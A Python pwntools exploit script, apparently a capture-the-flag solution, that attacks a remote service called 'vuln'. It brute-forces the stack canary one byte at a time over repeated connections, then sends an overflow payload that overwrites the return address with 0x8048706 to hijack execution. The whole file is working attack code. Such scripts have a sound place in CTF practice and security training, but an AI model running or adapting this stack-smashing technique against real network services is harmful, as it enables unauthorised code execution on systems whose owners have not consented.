from pwn import *

context.log_level = 'DEBUG'
destinationIP = "192.168.1.1"
def exp(canary):
    sh = remote(destinationIP, 38845)
    # sh = process("./vuln")
    # print(sh.recv())

    # length
    length = b"300\n"
    sh.send(length)

    print(sh.recv())

    # 32
    prefix1 = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab"

    # canary 4
    canary = canary.encode()

    # 16
    prefix2 = b"Aa0Aa1Aa2Aa3Aa4A"

    # ret addr 4
    addr = 0x8048706 

    # send
    sh.send(prefix1 + canary + prefix2 + p32(addr))
    
    print(sh.recvall())
    sh.close()

def get_canary():

    # 32
    prefix1 = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab"

    canary = '' # !!! now we don't know whether canary begin with '\x00'

    # we don't care i
    for i in range(4):
        for j in range(256):
            sh = remote(destinationIP, 38081)
            # sh = process("./vuln")
            print(sh.recv())
            length = b"300\n"
            sh.send(length)
            print(sh.recv()) 
            sh.send(prefix1 + canary.encode() + chr(j).encode())
            recvmsg = sh.recv()    
            if "Ok... Now Where's the Flag?" in recvmsg.decode():
                canary += chr(j)
                break
    print("get canary: {}", canary)
    return canary


C = get_canary()
exp(C)
# for canary in range(0, (2**32) -1):
#     sh = remote(destinationIP, 38716)

